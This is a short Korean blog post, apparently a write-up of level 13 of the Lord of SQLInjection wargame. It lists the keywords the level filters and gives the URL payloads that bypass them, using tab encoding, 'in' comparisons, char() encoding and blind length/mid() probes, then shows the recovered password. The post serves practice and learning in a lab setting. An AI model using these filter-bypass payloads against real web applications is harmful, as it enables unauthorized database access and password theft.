Play/wargame

[LOS] Load of SQLInjection 13번 풀이

병뚜 2022. 10. 28. 11:25

1. 

공백 필터링

= 필터링

' 필터링

or and substr ascii like 필터링

 

2.

그럼 해당 코드에서 hello admin 출력하기 위해서 뭘 입력해야 하는가?

?no=1||id%09in%09(char(97,100,109,105,110))&&1%09in%09(1)%09%23

 

3.

pw 길이를 알아내자.

?no=1||id%09in%09(char(97,100,109,105,110))%26%26length(pw)%09in%09(8)%23

- &가 안먹혀서 %26으로 입력함.

- 노가다로 풀이 예정

 

4.

?no=1||id%09in%09(char(97,100,109,105,110))%26%26ord(mid(pw,1,1))>60%23

ord 함수 필터링 당했다.

or 필터링 때문인가?

갑자기 화가난다.

 

5

.

?no=1||id%09in%09(char(97,100,109,105,110))%26%26mid(pw,1,1)>"A"%23

이런식으로 문자 노가다 시작

 

생각보다 어렵진 않다.

if 9보다 작은가? → 숫자

elif Z보다 작은가? → 영어 대문자

elif z보다 작은가? → 영어 소문자

물론 특문 없다는 가정하에 풀었다.

7 3 5 c 2 7 7 3